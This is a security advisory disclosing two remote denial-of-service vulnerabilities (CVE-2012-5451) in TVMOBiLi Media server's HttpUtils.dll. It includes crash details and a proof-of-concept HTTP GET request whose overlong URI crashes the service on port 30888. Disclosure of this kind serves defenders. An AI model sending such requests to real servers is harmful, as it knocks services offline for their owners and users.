Advisory Details:

High-Tech Bridge Security Research Lab has discovered 2 remote DoS vulnerabilities in TVMOBiLi Media server, which could be exploited to crash remote server with malicious HTTP requests.
1) Improper Handling of Length Parameter Inconsistency in TVMOBiLi: CVE-2012-5451
1.1 The vulnerability exists due to improper handling of URI length within the "HttpUtils.dll" dynamic-link library. A remote attacker can send a specially crafted HTTP GET request of 161, 257 or 255 characters long to 30888/TCP port (default TVMOBiLi's server port) and cause a stack-based buffer overrun that will crash tvMobiliService service.
Crash details

0x78abe292 and fs:[eax],al
0x78abe296 test byte [ecx+0xc],0x40


Proof of Concept
The following HTTP GET request will crash vulnerable tvMobiliService service remotely:
GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA HTTP/1.1
HOST: 192.168.10.12:30888
Referer: 192.168.10.12:30888
ACCEPT: */*
Accept-Encoding: None
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Connection: Close
Accept-Transfer-Encoding: None


1.2 The vulnerability exists due to improper handling of URI length within the "HttpUtils.dll" dynamic-link library. A remote attacker can send a specially crafted HTTP HEAD request of 255, 257 or 260 characters long to 30888/TCP port and cause a stack-based buffer overrun that will crash tvMobiliService service.
